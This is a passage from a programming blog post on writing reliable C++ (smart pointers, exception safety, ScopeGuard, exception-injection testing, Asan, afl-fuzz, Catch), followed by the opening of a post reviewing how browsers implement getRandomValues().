<span class="hljs-keyword">class</span> function_deleter <span class="hljs-comment">{
public:
void operator()(T *p) {
if (p != NULL) Fn(p);
}</span>;
};
template<typename T, void <span class="hljs-comment">(*Fn)(T*)</span>>
<span class="hljs-keyword">class</span> unique_ptr_ex <span class="hljs-comment">{
public:
typedef std::unique_ptr<T, function_deleter<T, Fn>> type;
// do not instantiate this class, use unique_ptr_ex<T, Fn>::type
unique_ptr_ex() = delete;
}</span>;</code></pre>
The first class defines a functor (something that has <code>operator()</code>). This is necessary because the second template parameter of <code>unique_ptr</code> is a type. The purpose of the second class is to act as a <code>typedef</code> with a parameter. It’s a workaround because not all compilers I’m using support the new <a href="http://stackoverflow.com/a/2795024/16590">template typedef</a> in C++11. These two classes simplify creating <code>unique_ptr</code> with different cleanup functions:<br />
<pre class="prettyprint"><code class=" hljs fsharp">unique_ptr_ex<BIGNUM, BN_free>::<span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-title">m_privkey</span>;</span>
unique_ptr_ex<EC_POINT, EC_POINT_free>::<span class="hljs-class"><span class="hljs-keyword">type</span> <span class="hljs-title">m_ec</span>;</span></code></pre>
Then just initialize <code>m_privkey</code> with a new BIGNUM that belongs to you and deallocation using the openssl-provided function <code>BN_free</code> is taken care of automagically. Same for <code>m_ec</code>!<br />
For details how to use <code>unique_ptr</code>, <a href="http://en.cppreference.com/w/cpp/memory/unique_ptr">see the reference</a>. I’ll try to give a few basic guides here. <br />
<ul>
<li>Use it for local variables that you created in the function and need to clean in the same place. </li>
<li>Use it for member variables of a class that “owns” these variables. Owning them means that the class is responsible for cleaning them which typically happens when the class itself is deleted.</li>
<li>You can also use them as return types for functions that create an object and pass its ownership (responsibility for deleting) to the calling function. No more uncertainty on who should do the cleaning, <code>unique_ptr</code> tells you you are the responsible owner and will do it automatically for you too.</li>
<li>Do not use it for object pointers that do not transfer ownership. If I call a function that uses an existing object, I use a naked pointer or a reference (if it can’t be null). </li>
<li>Do not use it for member variables of a class if the class is not owning that object. </li>
</ul>
The last case is a little tricky. In some cases, more than one class are responsible for a cleanup job and that’s where a smarter smart pointer such as <code>shared_ptr</code> would come in. I try to keep things simple and have only one owner for each object so that I can use <code>unique_ptr</code>.<br />
<h2 id="1-3-other-cleanup">
1 3 Other cleanup</h2>
Sometimes you need to do more things besides deleting an object upon scope exit. Maybe you need to close a database connection, restore the original value or roll back an object to a previous state.<br />
You could create a new class with the appropriate code in destructor for each of these cases (for example <code>PostgreCloser</code>, <code>PwdRestorer</code>, …) but that is a little inconvenient. That’s why there is <a href="https://channel9.msdn.com/Shows/Going+Deep/C-and-Beyond-2012-Andrei-Alexandrescu-Systematic-Error-Handling-in-C">ScopeGuard</a>, a class where you can redefine the cleanup code in-place. <br />
<h1 id="2-program-invariants">
2 Program invariants</h1>
A short intermission is necessary to explain the term <strong>invariant</strong>. The term literally means “something that doesn’t change” and in programming that will be a condition (a logical statement) that mustn’t change and be always true while the program is running because the code relies on it and things would break otherwise. There can be invariants on particular lines in the code (at the start of a function, in a loop) or they are related to a data structure or an OOP class. Invariants are usually not expressed in the programming language itself, it’s just something that we keep in mind and use when thinking about how the code will behave. Or at least should keep in mind. Ideally.<br />
For example a data structure invariant for binary search tree is that each node has at most 2 children. A more interesting invariant requires that nodes under the left child are all less than the current node and all under the right child are more than the current node. If this condition doesn’t hold then efficient search in binary search tree will be broken.<br />
A string splitting function will have an invariant at the end of the function (called post-condition) that says that the two returned parts, actually form the original string if reassembled. A splitting function would not otherwise be very useful. A memory allocator will have an invariant stating that all active allocations are kept track of so that a further allocation cannot occur in a piece of memory already given to someone else.<br />
Invariants help us describe program behaviour and requirements using logic. At this time, mainstream programming languages don’t have any support for working with them. But there are languages that focus on correctness in the academic research community and they let you write those invariants in the code for formal checking.<br />
<h1 id="3-error-handling">
3 Error handling</h1>
I’m coding a <em>Modern C++</em> interface around <a href="https://www.openssl.org/">some library</a> from C land and using exceptions to signify any errors because I don’t want to deal with manual propagation of error codes up the stack and I always want to know when an error happens[ (see here)]](<a href="https://www.securecoding.cert.org/confluence/display/cplusplus/ERR02-CPP.+Avoid+in-band+error+indicators">https://www.securecoding.cert.org/confluence/display/cplusplus/ERR02-CPP.+Avoid+in-band+error+indicators</a>). Manual error code propagation clutters the code, makes it harder to grasp and is prone to human errors. Modern C++ / OOP programming encourages proper object initialization in the constructor (as opposed to an additional <code>Init()</code> method) and exceptions are the only way to report errors from there (<a href="http://www.boost.org/community/error_handling.html">also note this Boost article</a>).<br />
Now some people don’t <em>like</em> exceptions in C++ but I found that most (not all) of their arguments are based on limitations in the old versions of the language or simply ignorance of how exactly the language works. Be sure to get familiar with recent development in the C++ language, most significantly the RAII pattern. Of course exceptions have some drawbacks too and some properties that need to be kept in mind (or your quantum computer brain):<br />
<ul>
<li>Throwing and catching exceptions is s……l..o…w. If you expect this to happen often, for example in parsing code, you need error codes (or <code>Expected</code>, see below) <a href="https://github.com/Quiark/CppExceptDetails/blob/master/PerfTest.h">see comparison</a>.</li>
<li>Throwing an exception in a destructor is very destructive. It will probably crash your program (<a href="https://github.com/Quiark/CppExceptDetails/blob/master/DestructThrow.h">see here for an example</a>).</li>
<li>Throwing an exception in the constructor means the object construction was cancelled and destructor won’t be called. That makes sense but also could mean that a <code>delete m_obj;</code> in the destructor may never be invoked (<a href="https://github.com/Quiark/CppExceptDetails/blob/master/ConstructThrow.h">again, example here</a>) even though you have already new’ed it in constructor. That is one more reason to use <code>unique_ptr</code> for member variables since these variables will be protected against a sudden death by exception from constructor.</li>
<li>Only one exception can be in flight for a thread at a moment. This means that the exception model cannot support async callback based programming aka. Node.js or Python Twisted and you need to store exceptions manually (<a href="http://channel9.msdn.com/Shows/Going+Deep/C-and-Beyond-2012-Andrei-Alexandrescu-Systematic-Error-Handling-in-C">mentioned in this talk</a>).</li>
<li>Exceptions can appear anywhere and there’s nothing in the code that will warn you about them.</li>
</ul>
If exceptions are not an option, you’ll be returning error codes. I’d suggest a slightly more sophisticated approach. The <a href="https://github.com/facebook/folly/blob/master/folly/Expected.h"><code>Expected</code></a> type can be returned by functions that are supposed to produce a result but could also fail. It has type parameters for the result value as well as for the error. Then (for example) a parsing library could use the following interface:<br />
<pre class="prettyprint"><code class="language-C++ hljs cpp"><span class="hljs-keyword">struct</span> ParseError {
<span class="hljs-keyword">int</span> line, col;
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> expected;
};
Expected<<span class="hljs-keyword">int</span>, ParseError> parseInt(<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span>);
Expected<<span class="hljs-keyword">int</span>, ParseError> parseHex(<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span>);
Expected<Url, ParseError> parseUrl(<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span>);</code></pre>
The <code>Expected</code> class also seems to support the error monad programming style but that would be for another day :)<br />
<h2 id="3-1-error-mis-handling">
3 1 Error mis-handling</h2>
Beginners tend to ignore errors, I still remember I was doing it. I could barely manage to write the code to do what I wanted in the first place. But if we’re talking about reliable software, ignoring errors is unacceptable. Quite the opposite, we need to know each and every error that happened, is happening or may happen. <br />
Errors that have happened need to be logged using an appropriate logging framework and in some cases may even be stored in a database for further analysis or sent to a remote monitoring server. See more here <a href="https://blog.codinghorror.com/exception-driven-development/">Exception Driven Development</a><br />
Errors that are happening right now need to be detected. If calling an external library that doesn’t throw exceptions but returns an error code, <strong>check the returned code</strong> and throw, log or handle (retry?) the problem! From this point of view, exceptions (as opposed to returned error codes) really help because they are not ignored by default so the risk of forgetting to report an error is lower. But then again some newbies will very carefully put a <code>catch</code> block around each function so that they can ignore the valuable exception object that bears details about the problem.<br />
How about errors that may happen in the future? Try to anticipate possible problems in the future but don’t try to recover, auto-repair or anything like that. Instead, check invariants and assumptions about your data structures consistency using assertions that report problems immediately. For example, if you have a class that is not thread-safe and you designated it to be only accessed from a single thread, assert it (this is a trick I found in Chrome source code):<br />
<pre class="prettyprint"><code class=" hljs java"><span class="hljs-keyword">void</span> Gui::UpdateBlinkies() {
<span class="hljs-keyword">assert</span>(GetCurrentThread() == MainThread);
m_blinkie ++;
}</code></pre>
The point is, again, to discover any problems, inconsistencies and unexpected situations as soon as possible because you are better able to debug and fix the problem. If the program crashes 10 minutes after the problem started, how can you trace the crash 10 minutes back to its original cause? <br />
Having some hard-to-debug problem that a client reports but you can never see on your machines? Then you should have a log file that provides additional information. If even that doesn’t help, rather than spending a week trying to reproduce the problem on your machine, you can ship a debug build to the customer that collects information that you need or one that has enabled <code>assert</code>s. If you have used them well, that alone may be able to pinpoint the bug.<br />
<h2 id="3-2-exception-safety">
3 2 Exception safety</h2>
But no matter if you choose exceptions or error codes to handle those unusual unhappy cases, you still need to be careful about exception (or error safety). This means that you need to <br />
1) release any resources that were acquired before an error <br />
2) return the application into a consistent state (invariant safety) <br />
Everybody should be pretty familiar with point #1 where doing some <code>new BigObject()</code> must be always followed by a <code>delete</code> even if you get an exception in between. <br />
Point #2 is similar except that it is specific to your application invariants. <br />
For example, if you are keeping some data in two structures and always need to update both of them on inserting, you need to make sure both things happen (or get rolled back) even if an exception is thrown:<br />
<pre class="prettyprint"><code class=" hljs cs"><span class="hljs-keyword">void</span> insert_both(<span class="hljs-keyword">string</span> a, <span class="hljs-keyword">string</span> b) {
m_by_name.insert(a, b);
<span class="hljs-comment">// OMG, what if an exception happens here?</span>
DoSomethingElse();
m_by_addr.insert(b, a);
}</code></pre>
Handling this case could be still easy, just add a catch, remove the item and exit:<br />
<pre class="prettyprint"><code class=" hljs r">void insert_both(string a, string b) {
m_by_name.insert(a, b);
<span class="hljs-keyword">try</span> {
DoSomethingElse();
m_by_addr.insert(b, a);
} catch (<span class="hljs-keyword">...</span>) {
m_by_name.remove(a, b);
throw;
}
}</code></pre>
But if you need to do something like this twice in a function, it starts to get complicated. Fortunately, C++ provides an elegant and convenient way to take care of both requirements. Memory safety has already been described (remember <code>unique_ptr</code>). Invariant safety can be done with a <code>ScopeGuard</code> which is a more flexible alternative to <code>unique_ptr</code>. There’s an implementation in the <a href="https://github.com/facebook/folly/blob/master/folly/ScopeGuard.h">Facebook’s folly library</a>. For the above example with two maps, you could use it in the following way:<br />
<pre class="prettyprint"><code class="language-c++ hljs sql">void insert_both(string a, string b) {
m_by_name.<span class="hljs-operator"><span class="hljs-keyword">insert</span>(a, b);</span>
ScopeGuard insert_guard = makeGuard([&] { m_by_name.remove(a, b); });
DoSomethingElse();
m_by_addr.<span class="hljs-operator"><span class="hljs-keyword">insert</span>(b, a);</span>
insert_guard.dismiss();</code></pre>
If any exception occurs in the code, the <code>insert_guard</code> will execute the remove operation to restore the original state. If everything goes smoothly to the end of the function, the scope guard will be cancelled by the <code>dismiss()</code> call.<br />
This way you can have nice linear code which is easy to understand even if there are more than 1 rollbacks. Just imagine the scope guard as “do this cleanup if anything goes wrong down there” as opposed to having nested <code>try-catch</code> clauses with many possible combinations of control flow.<br />
<h3 id="3-2-1-testing-exceptions">
3 2 1 Testing exceptions</h3>
When we test our code, we usually focus mostly on the ‘happy path’ where everything goes as planned and the edge cases receive less attention. But if we want to have truly reliable code, even those error or edge cases deserve some attention. If you use code coverage tools, they will keep flashing their red warnings in the exception handlers at you until you add them to ignore list (err, I mean, fix them).<br />
Proper unit testing (covered later) of course requires also testing the error and edge cases. You should try to come up with possible incorrect inputs (or problematic program state) and know, for each of them, how the program should handle it. And write this down in an unit test. In this way both the “happy” and failure behaviours of the function are well documented and verified to be correct.<br />
This approach for unit-level testing is well established. On the more coarse scale, there is another technique where we artificially throw exceptions and check that they are handled appropriately. We can throw exceptions at various places in the program and check general properties such as whether it causes memory leaks, memory corruption, or crashes. This is only relevant in languages such as C++ which have those memory issues by default.<br />
To automate this, you would put <em>instrumentation points</em> at interesting places in your program. Then you run your program or test suite over and over, triggering these instrumentation points in sequence. If each run of your program is deterministic (it takes the same path each time), you will have triggered each of the N points in the end, after running the test suite N times. <br />
Since this is sorts of mass exception injection approach, we cannot test for specific behaviour of specific cases, only for overall response to exceptions. Memory correctness will be the most typical case. Another one could be ensuring that all those exceptions are properly logged. This method is very useful if you’re creating a binding to another programming language such as Java or Python or even plain old C. Typically you need to catch exceptions in the C++ world and translate them somehow into exceptions or at least error codes in the target language without messing up the memory or exception safety. <br />
You also need to run this under a memory checker such as Valgrind, Asan or PageHeap which will inform you if any memory leak or access violation occurred. If all goes smoothly, you’ll know that exceptions can’t mess with you. It also probably means that you used RAII and <code>unique_ptr</code> correctly because without them it’s hard to make memory management right in the face of exceptions.<br />
This approach has also been described in <a href="http://www.boost.org/community/exception_safety.html">Exception-Safety in Generic Components</a>.<br />
This is how you may implement it:<br />
<pre class="prettyprint"><code class="language-c++ hljs cpp"><span class="hljs-comment">// Once placed in code, it can be redefined to do different type</span>
<span class="hljs-comment">// of instrumentation such as heap consistency checking.</span>
<span class="hljs-comment">// NOTE: most likely, this should be disabled in release build</span>
<span class="hljs-preprocessor">#define INSTRUMENTATION_POINT { g_instrument->RunPoint(); }</span>
<span class="hljs-keyword">class</span> ExceptionInstrument {
<span class="hljs-keyword">public</span>:
ExplosiveInstrumentator();
<span class="hljs-keyword">static</span> ExplosiveInstrumentator &instance();
<span class="hljs-keyword">void</span> dispose();
<span class="hljs-keyword">bool</span> should_throw();
<span class="hljs-keyword">void</span> maybe_throw(<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> &file, <span class="hljs-keyword">int</span> line);
<span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> instrument(<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> &file, <span class="hljs-keyword">int</span> line);
<span class="hljs-keyword">void</span> next_run();
<span class="hljs-keyword">void</span> set_run(<span class="hljs-keyword">int</span> no) { m_run_id = no; }
<span class="hljs-keyword">private</span>:
<span class="hljs-comment">// singleton</span>
<span class="hljs-keyword">static</span> ExplosiveInstrumentator *g_instance;
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> get_filename_base(<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> &path) <span class="hljs-keyword">const</span>;
<span class="hljs-keyword">int</span> m_run_id;
<span class="hljs-keyword">int</span> m_counter;
<span class="hljs-keyword">int</span> m_threw_cnt;
};
<span class="hljs-keyword">void</span> ExceptionInstrument::dispose() {
<span class="hljs-keyword">if</span> (g_instance != NULL) {
<span class="hljs-keyword">delete</span> g_instance;
g_instance = NULL;
}
}
<span class="hljs-keyword">void</span> ExceptionInstrument::maybe_throw(<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> &file, <span class="hljs-keyword">int</span> line) {
<span class="hljs-built_in">string</span> basename = get_filename_base(file);
<span class="hljs-built_in">stringstream</span> ss;
ss << <span class="hljs-string">"Instrumentation exception F "</span> << basename << <span class="hljs-string">" L "</span> << line;
<span class="hljs-keyword">if</span> (should_throw()) <span class="hljs-keyword">throw</span> <span class="hljs-built_in">std</span>::runtime_error(ss.str());
}
<span class="hljs-keyword">void</span> ExceptionInstrument::instrument(<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> &file, <span class="hljs-keyword">int</span> line) {
instance().maybe_throw(file, line);
}
ExceptionInstrument &ExceptionInstrument::instance() {
<span class="hljs-comment">// NOT THREAD SAFE</span>
<span class="hljs-keyword">if</span> (g_instance == NULL) {
g_instance = <span class="hljs-keyword">new</span> ExplosiveInstrumentator();
}
<span class="hljs-keyword">return</span> *g_instance;
}
<span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> ExceptionInstrument::get_filename_base(<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">string</span> &path) <span class="hljs-keyword">const</span> {
<span class="hljs-built_in">string</span>::size_type bk_pos = path.rfind(<span class="hljs-string">'\\'</span>);
<span class="hljs-built_in">string</span>::size_type fw_pos = path.rfind(<span class="hljs-string">'/'</span>);
<span class="hljs-built_in">string</span>::size_type pos;
<span class="hljs-keyword">if</span> ((bk_pos != <span class="hljs-built_in">string</span>::npos) && (fw_pos != <span class="hljs-built_in">string</span>::npos)) {
pos = <span class="hljs-built_in">std</span>::max(bk_pos, fw_pos);
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (bk_pos != <span class="hljs-built_in">string</span>::npos) {
pos = bk_pos;
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (fw_pos != <span class="hljs-built_in">string</span>::npos) {
pos = fw_pos;
} <span class="hljs-keyword">else</span> {
<span class="hljs-keyword">return</span> path;
}
<span class="hljs-keyword">return</span> path.substr(pos);
}
<span class="hljs-keyword">bool</span> ExceptionInstrument::should_throw() {
<span class="hljs-keyword">bool</span> res = <span class="hljs-keyword">false</span>;
<span class="hljs-keyword">if</span> (m_counter == m_run_id) {
res = <span class="hljs-keyword">true</span>;
m_threw_cnt += <span class="hljs-number">1</span>;
}
m_counter += <span class="hljs-number">1</span>;
<span class="hljs-keyword">return</span> res;
}
<span class="hljs-keyword">void</span> ExceptionInstrument::next_run() {
<span class="hljs-comment">// this is called from Java, do nothing if instrumentation is disabled</span>
<span class="hljs-preprocessor">#ifdef ENABLE_INSTRUMENTATION_THROW</span>
<span class="hljs-keyword">if</span> (m_threw_cnt == <span class="hljs-number">0</span>) {
<span class="hljs-built_in">cerr</span> << <span class="hljs-string">"Instrumentation run "</span> << m_run_id << <span class="hljs-string">" threw no exceptions."</span> << endl;
}
<span class="hljs-preprocessor">#endif</span>
m_counter = <span class="hljs-number">0</span>;
m_threw_cnt = <span class="hljs-number">0</span>;
m_run_id += <span class="hljs-number">1</span>;
}
</code></pre>
Another technique is using what I call <em>explosive mocks</em>. They work as ordinary mocks but throw a random exception when called. They may help you test correct handling of exceptions that you didn’t expect when first writing the code. For example in connecting to a network API, all kinds of things can go wrong, from network, DNS problems to authentication, API changes, invalid parameters, …). It’s not a very systematic method but can be useful as <em>exploratory testing</em> to find bugs.<br />
QUESTION: how to handle exceptions in message loops / GUI / … in a way that is debuggable, readable, testable?<br />
<h1 id="4-automated-testing">
4 Automated testing</h1>
I use automated unit tests and (more or less) automated integration tests where it makes sense. This is a big and complicated topic and I have an article with a few of my observations in progress. Make sure to keep your interpipes to this blog clean so you don’t miss it ;)<br />
<h1 id="5-tooling-for-correctness">
5 Tooling for correctness</h1>
In no way complete or sufficient but this is what I use.<br />
<h2 id="5-1-address-sanitizer-more">
5 1 Address Sanitizer (+ more)</h2>
If you write in <code>C++</code> (or god-forbid, <code>C</code>), you’re going to have memory bugs. Well, unless you are using Address Sanitizer or Asan. This kind of bugs can cause your program to crash, which is a little annoying to see. But in some cases a crash can lead to a <a href="https://en.wikipedia.org/wiki/Arbitrary_code_execution">Remote Code Execution</a> exploit. RCE is basically when a snake whisperer (hacker) convinces your program to start executing some code the <a href="https://en.wikipedia.org/wiki/Stagefright_%28bug%29">hacker offered.</a>. So yeah, that’s a little less convenient, especially when they use it to steal your money or data.<br />
Asan helps you catch these bugs. Also memory leaks. It can’t detect every problem with your code, it only detects problems in code that you execute. So you still need a good test suite. It catches every access violation (segfault for unix folks) and prints beautiful coloured output in the console. And since everybody loves coloured console output (and not having segfaults), I hereby endorse using Asan for everything.<br />
Originally developed for the clang compiler, it’s now available for gcc as well (sorry for people stuck with gcc 2.x)(I wonder if that gcc version is written on papyrus?). <a href="http://clang.llvm.org/docs/AddressSanitizer.html#usage">Detailed usage is here</a> but in short, you will need to create a new build variant for your project that will generate an Asan-instrumented build with the <code>-fsanitize=address</code> flag. This build will be around 2x slower and will abort immediately when an access violation is detected. It does not report false positives, that abort will be something you’ll have to fix.<br />
You may have used Valgrind. For memory access violations, Asan is similar but works better. It does require you to recompile the code with Asan enabled but then it’s much more accurate.<br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgklp6By0iczLDHyGHtkY3rvUJDs-PQpA-aDud-Eo6WFW_w0n1xZEbkHhqkBzxg2oG3ogP7NATkeYCTW-pMs91K-UmtXqFSXM_oTCdhdy8FuE9NaJVHABkj16GW_QB8RMaGvB7RBVLLNpXo/s1600/asan_shot.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="449" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgklp6By0iczLDHyGHtkY3rvUJDs-PQpA-aDud-Eo6WFW_w0n1xZEbkHhqkBzxg2oG3ogP7NATkeYCTW-pMs91K-UmtXqFSXM_oTCdhdy8FuE9NaJVHABkj16GW_QB8RMaGvB7RBVLLNpXo/s640/asan_shot.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Asan output</td></tr>
</tbody></table>
<br />
<h2 id="5-2-afl-fuzz">
5 2 afl-fuzz</h2>
So even though awesome, Asan won’t catch problems in obscure code branches that don’t get executed. One thing you can be sure: hackers will try to find them and run them so that they can pwn your machine and steal your candy. Here come fuzzers, tools that are designed specifically to execute code paths that normally never see the light of day. They do it by running your code, like, a million times, each time with a slightly different input and observing whether it caused some different behaviour in your code. <br />
This is mostly suitable for programs that read and parse some input files such as images, videos, PDFs or even <a href="https://googleprojectzero.blogspot.hk/2016/06/how-to-compromise-enterprise-endpoint.html">antivirus software</a> reading <code>.exe</code> files.<br />
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakq_Vps1narxGTeyD4_tFSGPn_2x2tNvH3rgS9oewvs1rhDFemLLFlrFLPH_ORnENxQLnkFvy7Q7KioLcGbnNTi7Ou9l5qrXAfcylhUj6_RvvOBQJ9a64D4zq-AD8dgJYDuvNykbpgldH/s1600/afl_shot.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img alt="" border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakq_Vps1narxGTeyD4_tFSGPn_2x2tNvH3rgS9oewvs1rhDFemLLFlrFLPH_ORnENxQLnkFvy7Q7KioLcGbnNTi7Ou9l5qrXAfcylhUj6_RvvOBQJ9a64D4zq-AD8dgJYDuvNykbpgldH/s400/afl_shot.png" title="" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">See, it has colours</td></tr>
</tbody></table>
<code>afl-fuzz</code> is one such program, free, open source and pretty good. It’s not complete magic though. You need to adjust your project to do nothing but read the input data and sometimes you need to help the fuzzing process a bit with a hint. <code>afl-fuzz</code> works by inserting instrumentation during compilation that informs the fuzzer where the control flow is going. Based on this instrumentation, it tries to alter the input data to find new control flow paths. And when it finds a control flow branch that crashes your code, it’ll happily returns the bad input. Programmers will take that sample input to go and fix the bug, hackers will take that sample to develop an exploit.<br />
<br />
<h2 id="5-3-catch">
5 3 Catch</h2>
As far as automated testing frameworks for C++ are concerned, there’s quite a choice. You’ve got the one from <a href="https://github.com/google/googletest">Google</a>, <a href="http://www.boost.org/doc/libs/1_42_0/libs/test/doc/html/utf.html">Boost</a>, even <a href="https://msdn.microsoft.com/en-us/library/hh598953.aspx">Visual Studio</a> comes with one. I can’t compare them but I tried <a href="https://github.com/philsquared/Catch">Catch</a> and enjoyed it very much. So besides the #1 requirement of coloured console input, it has the benefit of being very light and easy to include in the project (just one header file!) and very easy to use. <br />
To assert, you would simply write<br />
<pre class="prettyprint"><code class=" hljs scss"><span class="hljs-function">REQUIRE( <span class="hljs-function">factorial(<span class="hljs-number">2</span>)</span> == <span class="hljs-number">2</span> )</span></code></pre>
and it will automatically deconstruct it into two sides of the <code>==</code> operator, showing expected and actual if it doesn’t match. Testing this way is much more natural than the classic <code>Assert.AreEqual(factorial(2), 2)</code> or even <code>Assert.That(factorial(2)).Equals(2)</code> or whatever the latest fad in fluent interfaces is.<br />
The <a href="https://github.com/philsquared/Catch/blob/master/docs/tutorial.md#bdd-style">BDD style</a> for organizing tests has been the most convenient from what I’ve seen so far. You can have a hierarchy of test conditions, delimited using <code>SCENARIO</code>, <code>GIVEN</code>, <code>WHEN</code>, <code>THEN</code> and at each step of the hierarchy, you can set up some objects that will be used in levels below. The test framework will then take this tree and run <em>each path</em> independently. Let me give an example with a completely imaginary API:<br />
<pre class="prettyprint"><code class=" hljs scss"><span class="hljs-function">SCENARIO(<span class="hljs-string">"web service test"</span>, <span class="hljs-string">"[web][http]"</span>)</span> {
WebServiceFake fake;
RestClient <span class="hljs-function">client(fake.<span class="hljs-function">url()</span>)</span>;
<span class="hljs-function">GIVEN(<span class="hljs-string">"authenticated client"</span>)</span> {
client<span class="hljs-class">.user</span>("pete");
client<span class="hljs-class">.password</span>("abcd");
<span class="hljs-function">WHEN(<span class="hljs-string">"makes request about self"</span>)</span> {
Request <span class="hljs-function">r(client.<span class="hljs-function">new_request(<span class="hljs-string">"/user/pete"</span>)</span>;
r.<span class="hljs-function">get()</span>;
<span class="hljs-function">THEN(<span class="hljs-string">"gets its data"</span>)</span> {
<span class="hljs-function">REQUIRE(r.<span class="hljs-function">json()</span>.<span class="hljs-function">get(<span class="hljs-string">"salary"</span>)</span> == <span class="hljs-number">123</span>)</span>;
}
}
}
<span class="hljs-function">GIVEN(<span class="hljs-string">"guest client"</span>)</span> {
<span class="hljs-function">WHEN(<span class="hljs-string">"makes request about pete"</span>)</span> {
Request <span class="hljs-function">r(client.<span class="hljs-function">new_request(<span class="hljs-string">"/user/pete"</span>)</span>;
r.<span class="hljs-function">get()</span>;
<span class="hljs-function">THEN(<span class="hljs-string">"gets nothing"</span>)</span> {
<span class="hljs-function">REQUIRE(r.<span class="hljs-function">json()</span>.<span class="hljs-function">count()</span> == <span class="hljs-number">0</span>)</span>;
}
<span class="hljs-function">THEN(<span class="hljs-string">"error is reported"</span>)</span> {
<span class="hljs-function">REQUIRE(r.<span class="hljs-function">status()</span> == <span class="hljs-number">403</span>)</span>;
}
}
}
}</span></span></code></pre>
In this example, both “authenticated client” and “guest client” will be run separately, with a fresh instance of <code>client</code> object each time. In all but the most basic unit tests, we have to deal with setting stuff up and this layered structure is really helpful because it helps avoid duplication while putting the code where it’s easy to see.<br />
<h2 id="5-4-pageheap">
5 4 PageHeap</h2>
While I believe there are plans to make Address Sanitizer available for Windows, at the time of writing that port was not yet ready. <a href="https://msdn.microsoft.com/en-us/library/windows/hardware/ff549561%28v=vs.85%29.aspx">PageHeap</a> is a debugging tool built into Windows that can be used to detect buffer overflow errors. It’s not as versatile as Asan but it also helped save my code’s neck a few times (was particularly useful to catch a bug at the boundary of C# and C++ code). It doesn’t require you to recompile the code, you just enable it for a particular program using <code>gflags.exe</code> available with the Windows SDK. It works by putting each allocation at the end of a virtual memory page which allows the OS to catch any access over the page boundary.<br />
<h2 id="5-5-other-tools">
5 5 Other tools</h2>
<ul>
<li><a href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx">WinDbg</a> is a very powerful debugger with bunch of scripts and extensions available. For source code based debugging, Visual C++ is pretty sufficient because you can see everything. But WinDbg sure comes handy when you don’t have the code and need to debug issues outside your own code or have problems calling closed source or system libraries. On a second thought, you probably don’t want to end up digging there unless you enjoy this kind of self-punishment.</li>
<li><a href="https://github.com/radare/radare2">radare2</a> looks pretty rad for digging in assembly. Sadly I didn’t have much time to play around with it. Yes I seem to enjoy this kind of self-inflicted pain.</li>
<li><a href="http://rr-project.org/">rr</a> is a project from Mozilla that lets you record a program run and then debug the <em>bug</em> out of it by running it over and over and over until you find it.</li>
<li><a href="https://www.fstar-lang.org/#introduction">F*</a> is the absolute heavy-weight here. It lets you write code, prove that it’s absolutely correct and then transalte it to C/C++. Except for the part where you have to be a genius to prove the correctness of any larger program.</li>
</ul>
<h1 id="6-thats-it">
6 That’s it?</h1>
I’ve tried to compile my my approach to not shooting yourself in the foot while coding in C++. Note that while it’s not exactly short, it still doesn’t cover everything, for example how not to shoot yourself in your hand, knee or the back of your neck. <br />
The story is not over though, perhaps you, dear readers, can reveal some tricks you have up your sleeve? Discuss!Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-4587889150885588413.post-67178196908886707652016-10-17T21:05:00.003-07:002016-10-17T21:08:04.357-07:00Digging into browser CSPRNG<p>Browsers nowadays support the <code>window.crypto.getRandomValues()</code> API for obtaining cryptographically secure random number values suitable for generating private keys and session tokens. And while it’s questionable if in-browser JavaScript crypto is really secure (it still requires a flawless TLS configuration. Forget about encrypting stuff without HTTPS enabled), more clients and customers ask me for implementing crypto in the browser. Oh well. </p>
<p>Here is a quick review of how the <code>getRandomValues()</code> API is implemented in open source browsers, as of 18 October 2016, so that we can be sure that nothing shady or lame (such as running current time through the Mersenne Twister) is going on.</p>
<h2 id="webkit">WebKit</h2>
<p>Here it’s pretty straightforward. The first function file is the implementation of the API and it goes directly to the OS.</p>
<ul>
<li><a href="https://trac.webkit.org/browser/trunk/Source/WebCore/page/Crypto.cpp">https://trac.webkit.org/browser/trunk/Source/WebCore/page/Crypto.cpp</a></li>
<li><a href="https://trac.webkit.org/browser/trunk/Source/WTF/wtf/CryptographicallyRandomNumber.cpp">https://trac.webkit.org/browser/trunk/Source/WTF/wtf/CryptographicallyRandomNumber.cpp</a></li>
<li><a href="https://trac.webkit.org/browser/trunk/Source/WTF/wtf/OSRandomSource.cpp">https://trac.webkit.org/browser/trunk/Source/WTF/wtf/OSRandomSource.cpp</a></li>
</ul>
<h2 id="chromium">Chromium</h2>
